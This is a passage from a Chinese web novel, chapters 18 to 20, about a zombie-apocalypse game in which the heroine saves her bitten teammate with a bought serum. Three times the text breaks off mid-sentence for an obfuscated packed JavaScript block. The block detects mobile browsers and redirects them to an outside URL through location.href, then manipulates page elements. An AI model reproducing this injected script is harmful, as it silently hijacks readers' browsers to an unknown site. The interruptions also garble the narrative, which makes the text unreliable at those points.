尝试控制，笑容却假到离谱。她干脆低下头，假装在玩地上的石子：“我还要上班，没空出去玩。” 这话听起来像拒绝，但更像是在暗示上班占据她太多时间。 心中涌上一阵无名火，顾敛停下脚，咬牙切齿：“我给你放假。” 黎春日跟着一停，无语，这人什么毛病。给个台阶他还不下，非要过度理解。 转过身，见顾敛眉头压低，一副不爽的模样。 嘴边的话突然止住，她安静注视几秒，最终沉沉叹一口气。 “我更想上班”，和你一起。 冷意消散，顾敛定定看着她，仿佛读懂了她的未尽之言：“知道了。” 他拉起黎春日左手，迈向万家灯火的街道：“走吧。” 五点好感度缓缓飘散，手掌温热，却暖不了黎春日悲凉的内心。 18. 第 18 章 两人回到酒店，黎春日双手握拳，并排放在眼前。 今天一天，好感度涨了25。她也不知道顾敛又脑补了什么，还涨了20点守护值。 左手96，右手80，两者距离集满仅差一步之遥。 目标即将实现，她的脸上却没有多少兴奋之色。 垂眸盯着两个数字，时间一分一秒流逝，变身雕塑的黎春日忽然有了动作。 打开末日商城，径直点进首页最醒目的商品。 ——88血清。 汇聚顶尖技术的生命之水，蕴含多种物质，有效驱除体内丧尸病毒。只要88点好感度，买不了吃亏，买不了上当。 黎春日眼也不眨，直接点击购买，存入系统背包。 既然贪恋白天世界，相对应地，就要提高夜晚生存的保障。有了这管血清，她就多出一条生命。 决定了之后的方向，黎春日双手交叠，安然入睡。 忽然，她睁开双眼，炯炯有神。就在刚刚，她想到一个致命的问题。 到了晚上，除了唯恋花园这个安全屋，其他所有建筑物都会坍塌。这个所有，应该也包含他们现在住的酒店。 她连忙敲响顾敛房间，并分享这个猜测。最终，两人一合计，打算提前五分钟下楼。 闹铃声一响，黎春日掀被起床。一改往日赖床形象，麻溜收拾东西。 这事可不能耽误，晚一秒，都有深埋高楼的危险。 23点55分，两人准时走出酒店大门。 街道上灯火阑珊，他们随意坐在空旷路边，等待无尽的黑夜降临。 铛铛。 悠长的钟声下，黑雾如约侵入，堙灭世界所剩无几的光芒。 气派的高楼转眼成为一团废墟，黎春日拍拍心口，满脸庆幸。 幸好大脑给力，她及时想起来安全屋的事。要不然他俩没落丧尸手里，倒先命丧高楼了。 黑雾涌动的速度很快，不一会儿，黑夜降临在陌生的城市之中。 黎春日静坐不动，稳如老狗，等待系统发布任务。 起身的顾敛回头看她：“不走？” “去哪？”，黎春日眼神清澈，伸着脖子问他。 顾敛双手插兜，潇洒摇头：“不知道，但坐这更不知道。” 转念一想，他说得很有道理。 黎春日自我反思，从进入游戏到现在，系统犹如她手中的方向盘。通过发布任务，引导她每一步行动。 这种行为模式有助于她快速了解，并融入世界。但同时，她也丢失了探索世界的自我主动性。 不行，再发展下去她只会越来越被动，黎春日心中有了决定。 系统不发任务，她就自己找任务。 首先，要集齐四人小队，如今还差最后一个人。 吃饭的时候，孟烨随口提了一句他们酒店离得很近。 那么围着废墟找就行，反正地球是圆的，不管怎么走，最后总能遇见。 OK，黎春日拍掉屁股上的灰尘，随机指向一条幸运道路。 刚一迈步，耳边响起游戏提示音。 此时，她的大脑正处于活跃状态，遇见什么事都想分析一波。 关于任务，每次都是她行动在前，任务随后发布。这是不是游戏在暗示她，主动性大于任务。 一定是这样，黎春日越想越有道理。她自我肯定地点点头，才点开游戏页面。 “叮咚，恭喜玩家完成所有生存任务。末日之中危机四伏，请玩家努力生存，直到离开游戏。” 啊？这么突然吗？队伍还没组建呢，任务说结束就结束了。 等等，她微微眯眼，两指摩挲着下巴，状若沉思。 难道说，是因为她突破了思想层面的枷锁，所以任务就没有存在的必要了。 黎春日一捶掌心，原来如此。同理替换一下，那勾引任务……。 “又怎么了”，顾敛走着走着发现人没跟上，回过头，就见身后人若有所思地盯着他。 “没事。” 黎春日摇摇头，算了，那任务留着吧。偶尔做做，还能充当生活的调味剂。 思绪从任务中脱离，她才注意到当下异常安静的街道。 “不对劲”，黎春日几步追上顾敛：“咱俩磨蹭这么长时间，怎么一只丧尸都没遇见。按照平常，它们早该闻着味追来了。” 顾敛环视一圈，眉心下压。 确实很奇怪，平常总能看到丧尸在街上徘徊，但今天居然一只都没有。 他沉吟几秒：“那个阻隔剂还有吗？” 黎春日摇摇头，上次的用完了。而现在，她成了穷光蛋，买不起。 高价拿下昂贵血清后，她浑身上下只剩8点好感度，可谓是兜比脸都干净。 但事出反常必有妖，这里明显不对劲。她还是去商城转转，看能不能淘些既便宜又防身的东西。 划拉几下，黎春日看上一个仅要0.5好感度的防身武器。 坚硬牌木棍，打倒丧尸的不二选择。 “我有木棍，你要吗？”，她的手指悬浮在购买按钮上，只等顾敛一声回答。 “要。” 黎春日买好之后，转身打开空荡的背包，以此为掩护拿出木棍。 “你还准备了这个”，顾敛也是没想到。掂量两下木棍，看向她身后轻飘飘的背包，颇为惊奇：“居然还能装下。” 一副你不懂的模样，黎春日拍拍她用于掩护的神奇背包：“它的容量大小取决于我能往里塞多少东西。” 解决武器问题，两人继续出发。 一路上，顾敛单手插兜，左手拎着木棍，霸气侧漏。 反观黎春日，手拿木棍竖在身前。眼睛睁到最大，来回张望，绝不错过任何风吹草动。 没走多远，路灯下一团黑乎乎的东西吸引了她的注意。 距离稍远，她眯眼张望。但灯光昏沉暗淡，她始终看不清那团乌漆麻黑的东西是什么。 她戳戳顾敛，伸手指明目标：“那是什么，垃圾？还是捡东西的丧尸？” 看看前方，再看看黎春日。顾敛嘴角弧度扩大，低笑出声。 “你笑什么”，黎春日眨眨眼，不明所以。 顾敛摇摇头，眼眸明亮如星光，在黑暗中攥人心神。 几缕发丝随着动作乱晃，遮住他眼中的光芒。 心脏砰砰乱跳，黎春日不受控制地轻踮脚尖，伸手抚开。 顾敛讶异的目光唤醒神智，呼吸错乱几分，她没有避开那灼热的视线。 看到他头顶冒出+5的好感度，黎春日面色不变。只微微垂眸，忽视鲜红的数字。 身后手指摩挲几下，她稳住心神，轻描淡写揭过此事：“咳，快说，那到底是什么。” 开心事接二连三地发生，顾敛嘴角都没落下来过：“是孟烨。” 啊？那怎么会是孟烨。黎春日瞪大眼睛，严重怀疑顾敛看错了。 那黑团矮矮的，鼓鼓的……，慢着。 她比划几下，发现如果一个人靠坐在路灯旁，形状好像确实差不多。 真是罪过，黎春日一掌拍上额头，怎么能把队友认错。 旁边的男人还在低笑，但此时，他的笑容不具备勾引效果。 黎春日一句话也不说，只用阴恻恻的眼神盯着他看。 接到警告，顾敛收声抿唇。自然地移开视线，仿佛被远方风景所吸引。 算他识趣，黎春日眼神温和下来，问出心中疑惑：“他为什么要坐路灯下面。” “大概一年前吧”，顾敛陷入回忆：“发生过一些事情，从此之后，就变得很怕黑，特别是他一个人的时候。” 黎春日好奇追问：“发生了什么事？” “记不清了”，顾敛仔细回想，大脑却如同针扎一般，尖锐疼痛。 见他疼得直不起腰，黎春日心一揪，连忙摸摸他的脑袋：“好了好了，别再想了。” 她轻拍背部安抚顾敛情绪，耳边，他因疼痛而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985721|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗重的呼吸声渐渐恢复正常。 “黎小姐，你们在干什么？”，孟烨温和的声音中带着疑惑。 他怎么过来了。黎春日一把推开顾敛，尴尬解释：“没什么，他刚刚喘不上气，我帮他拍拍背。” 被人突然打断，顾敛心情不爽。结果又听见她这样解释，鼻子里瞬间冒出一声冷哼。 不知该如何解释，黎春日只好笑一笑。 她左手绕后，仗着天黑看不清，一把掐住男人腰间软肉。 “嘶”，顾敛倒吸一口冷气，她下手也太狠了吧。 “怎么了”，孟烨的视线在两人之间打转。 “没事，他又喘不过气了”，黎春日连忙转移话题：“你怎么在这。” 顾敛情况明显与她说得不符，孟烨张张嘴：“可他……” “不用管”，黎春日一把打断他的话，坚持转移话题：“你怎么在这。” “好吧”，看她态度坚定，孟烨没有过多纠结。面对第二个问题，他摇摇头，眼底是对于世界发生巨变的迷茫与不解。 “我也不知道。” 他睡得好好的，结果一睁眼，发现他躺在空旷黑暗的街道。恐惧瞬间占据大脑，当他进入灯光范围内，才注意到世界翻天覆地的变化。 听完他的经历，黎春日眉头一皱：“遇到我们之前，你有见过其他东西吗？” “没有”，孟烨茫然摇头，从醒来到现在，他没有遇见过任何人。 得到答案，黎春日和顾敛对视一眼，脸上皆是凝重之色。 入夜半个多小时了，为什么丧尸还没出现。 实在想不到合理解释，黎春日放弃正常思路，难道它们去团建了？ 咚的一声，顾敛收回手，脑子不要可以捐了。 有本事他来想，黎春日揉揉脑袋，不服气地顶回去。 “到底怎么回事”，两人的互动完全看不懂，孟烨忍不住问道。 这才想起他还不知道情况，黎春日简单解释，便放任他独自消化。 她环顾四周，无尽黑夜是阴谋诡计最好的保护色。虽然不知道丧尸异常的原因，但结合过往经历，她内心隐隐有种预感，今夜绝不会轻松度过。 又买了一根木棍，黎春日递给路边怀疑人生的孟烨。 不论是亲眼所见的废墟，黎春日两人习以为常的态度，还是手中坚硬硌手的木棍，都在告诉孟烨， 世界早已天翻地覆，而他能做的，只有顺势而为。 手指用力攥紧，木棍慢慢弯曲变形。最终咔嚓一声，两半残躯咕噜噜躺在地上。 上当了，黎春日瞪大双眼，脑海中只有一个想法，末日商城支持退货吗。 缓缓看向手中木棍，她的内心蠢蠢欲动，最终伸出夺命之手。 啊哈，木棍纹丝不动。 黎春日淡定整理散乱的头发，不动声色地朝顾敛靠近。 破案了，木棍没问题，有问题的是孟烨。 她悄摸移动，但天色太黑，一个没注意，就被脚下石头给绊倒了。 顾敛反应过来，连忙伸手去扶：“快起来。” “嘘”，黎春日制止他的行为，手掌紧贴大地。 摔倒后，她正想起身，却感受到掌下地面在有规律的微颤。 害怕感知出错，她拉着顾敛增加人证。 见他点点头，黎春日心下一紧。照这个颤动程度来看，丧尸数量只会多不会少。 指尖陷进掌心，她强心压下慌张情绪。刚刚又增加5点好感度，除去三根木棍，好感度还剩11.5，刚好够买一瓶气味阻隔剂。 情况紧急，她点了好几次才对准购买按钮。 面对顾敛错愕的目光，她来不及解释。直到雨雾包裹全身，紧张的心情才稍稍缓解。 嗬嗬，嘶吼声此起彼伏。腐臭味顺着空气飘来，由淡到浓。丧尸大军一波接着一波，数量至少有上百只。 三人慢慢后退，明明喷了气味阻隔剂，但黎春日的心跳声愈渐加快。 19. 第 19 章 放眼望去，丧尸黑压压的一片。腐臭味扑面而来，浓郁窒息，令人作呕。 心跳声鼓动耳膜，黎春日抖着两只手，疯狂戳捣，口型示意两人：“快跑。” 这要被逮住，尸体都捡不回来。 逃命途中，她忍不住回头，想看丧尸有没有追上来，结果大吃一惊。 它们还真追上来了。 事情发展出乎预料，同样是喷了气味阻隔剂，上次走到丧尸眼前它都不带理的。怎么今天隔着二里地，它们却像知道坐标一样，一个劲地追。 是丧尸的问题，还是阻隔剂的问题？ 黎春日望向追击大军，眼中光芒一闪而过。孰是孰非，一探便知。 视线自左向右，寻找适合躲藏的地方。又路过一团废墟之后，电光火石间，她福至心灵。 真是糊涂了，合适的地方不就近在眼前嘛。 当下语音交流一时半会解释不清楚，她干脆示意两人followher。 先加速拉开和丧尸的距离，接着，跑到两米多高的庞然大物前。她二话不说，以身作则，抬脚就要往上爬。 不明白这又是在搞哪一出，顾敛叹一口气。抬手掐腰，稍一用力就把人拽了下来：“干嘛呢。” 没时间解释那么多，丧尸还跟在屁股后头追呢。 黎春日挣开他的手，抬脚又要往上爬，边爬边喊：“快点，没时间了，上去再说。” 拽着衣领把人拉回来，顾敛皱眉打量灰尘累累的石头：“先说清楚，不然不爬。” 孟烨没有说话，但那双琥珀色眼睛望向黎春日，显然也是在等她的理由。 看出他们俩的嫌弃，黎春日都气笑了。大哥们，这都末世了，居然还没治好洁癖呢。 抬抬手，顾敛的禁锢纹丝不动。她深深叹一口气，语速极快，说出内心的猜测。 话音刚落，前方出现丧尸部队的身影。事实胜于雄辩，她抬抬下巴，示意两人请看VCR。 “喏，这不就追上来了。” 顾敛回过头，手上力道无意识松懈。黎春日趁机挣脱，三度抬腿往上爬。 前方是夺人性命的丧尸，后面是尘土厚重的石块。顾敛眉心紧皱，三五步爬了上去，最大程度减少接触机会。 当最后的孟烨爬上废墟，丧尸追至眼前。如果用地图坐标来形容的话，可以说，两方所代表的红色圆点几近重合。 废墟上方，三人如同街溜子，排列整齐，蹲在废墟边缘处观察下方行动。 只见冲在最前排的丧尸猛然停下，后方刹车不及时，砰砰砰，直接上演大型连环追尾事件。 但，丧尸感受不到任何疼痛伤害。它们晃晃脑袋，跛着脚，像群无头苍蝇一般四处乱转。 好戏结束，黎春日双手交叠垫在下巴，陷入沉思。 看起来，丧尸似乎知道他们的位置，又好像不知道他们的位置。能追至眼前，却找不到他们的具体位置吗？ 那这气味阻隔剂究竟还有没有用。 三个臭皮匠顶个诸葛亮，黎春日询问两人对这件事情的看法。 左边是刚加入的孟烨，啥也不懂的新兵一个，因此没有贸然发言。 右边是怀有一定经验的老兵顾敛，他盯着丧尸看了一会，忽然想到什么，视线围着黎春日的背包打转。 对视那刻，她瞬间意识到顾敛要说什么。直接打断：“好了，我知道你也没有建设性意见，队伍第一次会议到此结束。” 刚张开嘴的顾敛：“……” 还没出声，黎春日怎么就知道他要说什么了。 她当然知道，光看顾敛围着背包打转的视线，就知道他是想问气味阻隔剂的事。 毕竟前脚刚说没有，后脚就变出来一瓶，搁谁都想弄清楚这到底是怎么个事。可一旦顾敛问出来，她就得撒谎圆回去。 应付丧尸已经很累了，如果连队友都要应付，这日子就没法过了。 因此，堵住顾敛的嘴，从源头上掐死这段对话，是最好的处理方式。 为了剥夺他说话的机会，黎春日启动话唠加胡扯模式，梦到哪句说哪句。 “你们看，丧尸知道大概位置，却找不到具体位置。这说明什么，说明丧尸又进化了。从而导致气味阻隔剂失效，但又没完全失效。离得远了，丧尸能感知到。离得近了，有一层阻隔剂挡着，丧尸就找不到具体位置了。” 吧啦完一堆废话，她还抽空关心一下孟烨：“知道你爱干净，但都快掉下去了，你还是往里坐坐吧。” “不”，孟烨指指下方：“我是在看丧尸能不能爬上来。” 视线顺着手指向下，不知何时，丧尸团团围住废墟，密不透风。它们扒住凸起的石块，想要爬上废墟。 黎春日眼皮狠狠一跳，当初为了方便，她找的废墟堆只有两米多高。如今一看，安全系数严重堪忧。 一旦遇见身材高大的丧尸，就像侧边那个。只需踮脚抬手，就能触碰到边缘地带。 所幸丧尸还没进化出爬墙的技能，他们三人紧靠一起，背贴背站在废墟中间。 “我们怎么办”，黎春日欲哭无泪，早知道就不做什么实验了，一直跑死都比现在动弹不得强。 反思还没两秒，她开始怪罪这一切的罪魁祸首，游戏。 说到底还是设计游戏的人有毛病，丧尸进化可以理解，但好歹也要给玩家留个缓冲时间吧。 在她疯狂外耗的时候，顾敛终于抓到说话机会：“我们可以踩着丧尸的脑袋跳下去。” “这也太冒险了”，孟烨率先拒绝，并提出不同意见：“还是稳妥点，我们用石头砸出一条路。” 顾敛瞥他一眼：“是你捡石头再砸出去快，还是丧尸抓你的速度快？” 孟烨不甘示弱：“总比踩脑袋的方法强，这要出意外，可是直接掉进丧尸怀里。” 两人各执一词，视线在空气中无形交锋。随后齐齐看向中间的黎春日：“你说呢。” 两虎相斗，波及无辜。 收回左看右看的目光，黎春日手指紧贴裤缝，努力彰显其中立的态度。 慎重考虑几秒，她投顾敛一票，理由如下。 其一，节省体力；其二，这个方法唯一薄弱的环节在她，同时她又拥有一管保命血清，所以这点可以忽略不计。 两相比较下，还是顾敛的方法更合适。至于血清，她可以挣好感度再买。 投票结果2比1，少数孟烨只好服从多数：“那我最后吧，正好学一下技巧。” 顾敛示范，孟烨殿后。确定好顺序，顾敛给两人讲解心得：“首先找矮的，其次踩脑袋中间，最后一鼓作气跳下去。” 看着稳当落地的人，黎春日自信心爆棚，她也行。严格遵守每一步教程，三人顺利逃出。 小心躲开分散的丧尸，顺着街道往前跑。他们一动，丧尸紧跟着反应过来，连忙追在屁股后面。 跑个十几米，两条岔路出现在眼前。反正哪边都一样，黎春日想也不想，直接选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002774|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺手的右边。 嗬嗬，后方一只丧尸猛然窜出。她瞳孔骤缩，脚下踉跄几步，急忙转变方向。 由于数量优势，加上距离较短，丧尸很快追上，冲散聚在一起的三人。 现场极其混乱，队友身影掩盖在丧尸之下，黎春日高声大喊：“左边，选左边的路。” 身后丧尸层出不穷，她反手掏出木棍。顺时针全力一挥，几只丧尸应声倒地，空出一段安全距离。 见这招有用，对于之后赶来的丧尸，她如法炮制。破开层层阻碍，朝着左边岔路跑去。 手腕因长时间用力而麻木颤抖，黎春日借着废墟遮挡，补充一波气味阻隔剂。 没有休息时间，她反身回头，接应还没赶来的队友。 走出遮蔽的废墟，前方传来窸窸窣窣的声音。她微微眯眼，看清出现在黑暗中的高大身影。 黎春日握紧木棍，抬手挥向来人。 “等下，自己人”，微哑的声音混合喘息，顺着空气传入耳中。 距离拉近，出现顾敛疲惫的面容，黎春日重重松一口气：“是你啊。” 两人躲在废墟后，稍作休息，补充体力。 时间一分一秒过去，孟烨的身影迟迟没有出现。黎春日频频扭头，神色担忧：“他怎么还没过来。” “不止”，顾敛环视一圈，目光锐利：“丧尸也没追过来。” 心中冒出不详的预感，黎春日心跳加快：“不会都去追孟烨了吧。” “很有可能”，顾敛活动活动筋骨，招呼她起身：“走吧，回去找。” 一路上，寂静无声。 回到岔路口，混乱的现场早已散去，恢复其黑暗幽静的本质。 两人对视一眼，朝着岔路右侧出发。 “孟烨，孟烨”，天太黑，黎春日害怕错过，小声喊着他的名字。 “孟烨。” “我在这”，微弱的声音从旁边传来。 呼唤有了回应，黎春日紧绷一路的神经终于放松：“你没事吧？” 孟烨一瘸一拐地走出废墟掩体，笑容中带着几分不好意思：“没事，就是跑得太急，不小心崴到脚了。” 队员一个不少，黎春日拍拍心口：“没事就好，没事就好。” “不过”，她来回张望：“丧尸又跑哪去了？他们不是知道大概位置吗？” 孟烨摇摇头：“我跑进来之后，就没遇见过丧尸了。” 本以为都去追孟烨了，但双方遭遇一模一样，黎春日满脑袋问号。 丧尸今晚到底怎么了，就没干过一件正常事。 算了，丧尸的心思她也猜不透，反正兵来将挡水来土掩。之后的事情，之后再说。现在，他们还是好好休息吧。 三人找到一个大型废墟，打算躲在后面稍作休息。 接近掩体，耳边响起短促细微的摩擦声。很轻很轻，像是一粒小石头在地面翻了个身。 最前方的黎春日歪头皱眉：“你们有听见什么声音吗？” 二人摇摇头，她集中注意，耳边再没响起一丝声音。伸着脑袋四处瞅瞅，空荡安静。 眉头舒展开来，黎春日心底一松。这几天活动量太大，又缺乏睡眠。这不，都出现幻听了。 放下心来，左拐，一只污黑大手骤然抓住她的手臂。它眼露凶光，尖锐的獠牙对准脖子，悍然咬了下去。 砰地一声，禁锢松开。黎春日直愣愣地跪坐在地，鲜血温热滑腻，染红掌心，最终顺着指缝滴落。 20. 第 20 章 黎春日了无生机地坐在地面，明亮的瞳孔蒙上一层灰暗。 从遇袭到脱困，只有十几秒。几句话都说不完的时间，她不明白，为什么会变成现在这样的结局。 当时，她正想着今晚过后要好好休息。谁知一转身，遇见暗中埋伏的丧尸。 身体被禁锢，血盆大口扑面而来，尖牙闪烁着森冷锋利的光芒。 逃不掉了，她想。 嗬嗬，嘶吼声伴随着腥臭的口水越来越近。落在脖子上，激起身体不自觉地轻颤。 咬下来一定很疼吧，她闭上眼，静静等待命运降临。 预想出现偏差，比疼痛更快到来的，是温暖有力的怀抱。 霎那间，黎春日意识到顾敛的打算。她用力推拒，他收紧手臂，牢牢护住怀里的人。 獠牙穿透皮肉，适宜温度里，顾敛的额头渗出一层冷汗。手臂青筋暴起，可他拥护的动作却温柔到不可思议。 右手轻抚怀中人的发丝，语气低喃。他像是说给黎春日，又像是说给自己听：“没事了，没事了。” 血液抽离身体，丧尸吞咽的声音清晰可闻。 黎春日面色一白，奋力挣扎，腰间手臂纹丝不动。 耳畔，痛意压抑在急促的呼吸声下。她不敢再动，声音带着隐隐的哭腔：“顾敛，顾敛，你还好吗？” 哽咽声打破平静，旁边的孟烨终于从变故中回神。 他一脚踹开丧尸，用长棍将其抵在地上，阻止它继续作恶。 尖牙离开时猛地扯过皮肉，顾敛闷哼一声。力气随着鲜血一同流失，直愣愣地往下坠。 视线中，黎春日魂不守舍的面容隐隐模糊。 他扯扯嘴角，想说些安慰的话，可唇角的笑容已然耗费他所有力气。 鲜血自脖颈处大片涌出，黎春日紧紧捂住，却于事无补。血液流出指缝，洇染地面，慢慢聚成一滩浅淡又浓郁的血泊。 一颗眼泪划过脸颊，落在顾敛半垂的眼皮。睫毛微微颤动，他慢慢抬手，擦过那道清浅的泪痕：“别哭。” 若隐若现的微凉触感惊醒黎春日，泪水争先恐后地涌出，模糊眼眶，坠落在血泊之中。 自责，悔恨的情绪呼啸而来，淹没口鼻，扼住呼吸，让她久久喘不上气。 如果当时再谨慎些，如果她没有忽视那轻微的声响。是不是就能避开丧尸，改变现在的结局……。 圆润的指甲陷入掌心，留下一排殷红的痕迹。黎春日紧咬唇瓣，咽下喉间的哽咽。 猛踢几脚丧尸泄愤，孟烨移开视线，声音沙哑：“顾敛，之后要怎么办。” 收紧手臂，黎春日垂下目光。怀里的人由于失血过多，面色苍白，眼神溃散。 脖颈处，黑色雾气缠绕在伤口，丝丝缕缕地往两个血窟窿里面钻。 它进入皮肉，分裂无数黑线，扩散游走。犹如蜘蛛裂纹般四散蔓延，想要侵占不属于它的身体。 黑雾？末日商城，血清！ 黎春日如梦初醒，对，血清，她之前买了一管血清。 拿出手指粗细的试剂管，淡绿色液体轻轻晃动，象征着破土而出的生机。 顾敛的性命全靠这瓶血清了，她稳住心神，控制好颤抖的手臂。一点一点，拔下木塞。 递到嘴边，指腹蹭过他半垂的眼尾，黎春日轻声喊道：“顾敛，醒醒，喝下它就好了。” 低喃钻进脑海，但顾敛意识混乱，无法解析其中含义。 他本能照做，脖颈处的黑雾骤然发难。 黑线细小尖锐，它们发疯般地撞击血管，皮肉。用尽一切手段，阻止事情的发生。 嘴唇倏地远离瓶口，顾敛身体绷紧，仿佛一张拉到极致的弓箭。他大口喘气，想要缓解身体上的疼痛。 裂纹黑线爬上下巴，黎春日眉心紧皱。她扒开顾敛衣领，只见下方的黑色裂纹渐渐深入，已经快要侵占到心脏位置了。 不能再等了，她仰头喝下血清。对准顾敛嘴唇，径直贴了上去。 液体一进入口腔，那些黑线感受到威胁，再次横冲直撞。 痛意袭来，顾敛下意识想要逃离。 由于没有听到吞咽的声音，黎春日抱紧他的脑袋，利用身体重量压制反抗。嘴唇紧贴，一动不动。 黑线撞击地更加猛烈，她一个没压住，顾敛两条手臂获得自由。 不过没关系，刚刚挣扎时顾敛已经把血清咽下去了，之后不用管他也行。 唇瓣刚一分离，那双结实的手臂穿过腰间，按住她的后脑勺，猛地下压。 “唔”，距离拉近缩小，两人达到了字面意义上的唇齿相贴。 刚才是单纯的喂药，但这次的意义完全不同。黎春日瞪大双眼，热意爬上脸颊。 想到接下来会发生的事情，她眼睫微垂，手指慢慢攥紧，心脏紧张地扑通乱跳。 她等啊等，垂下的睫毛睁开了，乱跳的心脏平静了，但顾敛迟迟没有下一步动作。 也对，黎春日轻啧一声，暗嘲自己多想。 顾敛现在顶多算是个会动的植物人，能指望他有什么坏心思。 不过狗东西，白瞎她的期待了。 耐心告罄，黎春日暗骂一声，撑着他的胸膛就要起身。 不能走，顾敛收紧双臂，几厘米的距离按下了归零键。 血清发挥作用，黑线挣扎攻击得更加剧烈，大脑意识被冲撞的七零八散。 但潜意识里，喊他喝药的温柔声音经久不散。他听话张嘴，甚至在药瓶离开时紧紧抱住。可等待许久，也没品尝到一滴药味。 难道是要让他自己喝？ 稀碎的大脑短暂思考后，顾敛微微歪头。肯定是这样，自己动手，丰衣足食。 他用舌尖描绘瓶口的轮廓，以便确定位置。接着，舌尖探入药瓶，品尝到一丝甜甜的味道。 找到了，他有些兴奋。舌尖左晃晃，右舔舔，不放过一滴药水。 表面舔舐干净，他却不满足于浅尝辄止，在往深处探寻时，舌尖一痛：“嘶。” 收回舌头，顾敛面上流露出委屈的神色，这药瓶怎么还会咬人。 活该，咬人的药瓶面红耳赤，愤愤不平。 在黎春日以为要发生点什么时，顾敛用实际行动告诉她，两人只是嘴贴嘴的唇友谊。 当她放弃期待后，顾敛却又疯狂进攻。她节节败退，一怒之下，咬上他进攻的武器。 这下总能安生了吧，黎春日眼珠水润，呼吸略喘，再来她可就招架不住了。 事实上，顾敛确实安生了。血清作用到了最后关头，扩散的黑线缩成一团。疼痛加倍席卷而来，他没空再思考喝药的事情。 黑团越来越小，最后灰飞烟灭。顾敛浑身猛地抽搐，力道一松，晕了过去。 腰间禁锢松开，黎春日直起身，唇瓣间带出一根银丝。 面色涨红，她连忙擦擦两人唇角，才低头查看顾敛伤口状况。 张牙舞爪的黑雾被扼杀殆尽，鲜血也已经止住，伤口终于恢复成正常的模样。 确定他没事，黎春日心底一松。唇瓣上下触碰间，肿胀疼痛。那根银丝忽地冒出脑海，她闭了闭眼，抬手招呼顾敛一拳。 都是这个狗东西的错，亲那么用力干嘛，肿成这样等会还怎么见人。 然而她忘了，其实一直都有人在，身后响起一声刻意的提醒：“咳咳。” 身体一僵，黎春日脸颊爆红，内心疯狂尖叫。 苍天啊，她忘了孟烨也在这儿，那刚刚发生的事，他是不是全都看见了？ 答案心知肚明，她安详地闭上眼睛。 很好，可以换个地球生活了。如果不行，那就一剑杀了她吧。 黎春日不敢回头，也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014891|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要说些什么。只能低着头，尬笑几声。 身后，孟烨勤勤恳恳压制丧尸，坚守岗位，面无表情。 如果不是知道两人在喂药，他还以为误入了什么限制级场面。毕竟两人缠绵交错的姿势十分惹人遐想，还把他晾在一边。 手中暗暗用力，地上的丧尸发出今晚第三声惨叫。 为什么说是第三次呢。 原来，最开始看到两人贴一起时，孟烨双眼微微睁大，手上不自觉地加重力气，胡乱扑腾的丧尸嗷嗷乱叫。 然而，这么凄惨的声音都没能引起两人的关注，反而贴得更近了。 他也是两人play中的一环吗？ 握紧手中木棍，丧尸梅开二度。但地上的两人依旧投入，和忘我。 等到最后，孟烨严重怀疑两人已经干柴烈火，热锅烹油了。 结果啪嗒一下，顾敛晕过去了。至此，所有的猜测戛然而止，全然推翻。 他兄弟不可能这么弱。 见两人终于分开，孟烨出声以示提醒。想说些什么，但那人脑袋都要垂到地上了。他大发慈悲，到嘴的话转了个弯：“你刚才给他喂的是什么。” 被咬之后，顾敛面色灰白，浑身死气缠绕。但喝了那管药后，状态肉眼可见的恢复正常。 “这个啊”，见他没有多问，黎春日松了口气。她晃晃手中的试剂管：“是血清，被丧尸咬后及时服用，就能捡回来一条性命。” 现实例子就在眼前，孟烨嘴角勾起，语气是一贯的温和体贴：“这可是个好东西啊。” 看着恢复正常的顾敛，黎春日点点头，对这句话给予肯定。 东西是好东西，但价格也很美丽。 想到高达88点好感度的价格，黎春日一阵肉痛：“可惜，我只有这一瓶。” 孟烨轻轻啊了一声，惋惜应道：“好吧，” 夜色下，他双眸微眯。视线尽头处，是黎春日扔在一旁的背包。 只有一瓶吗？他目光幽深，手指无意识摩挲着木棍。 铛铛。 悠长的钟声回荡在世界各个角落，天色破晓，黑暗褪去。 与以往的天光大亮不同，此次钟声响后，天际泛白，夜色并未完全消减，大致处于凌晨时段。 两人面面相觑，脸上皆是惊愕之色。 黎春日掏出手机一看，才凌晨三点，为什么天就亮了。 问题无人回答，倒是那个被制服的丧尸率先清醒。 狰狞的表情褪去，男人揉揉眼，就见孟烨拿着一根木棍抵在他肚子上。 ……好像知道浑身上下的疼痛是怎么来的了。 对上男人愤怒谴责的视线，孟烨尴尬僵住，木棍成了烫手山芋。 丧尸变成人，好好的正义现场转眼变成施暴现场。一口黑锅牢牢黏在背上，甩都甩不掉。 身为队长，黎春日挺身而出，主动上前和男人交涉。 她指指孟烨，再指指脑子，最后以一种心痛惋惜的心情在身前比了个叉。 男人恍然大悟，拍拍黎春日的肩膀，表示他不再追究这件事情。 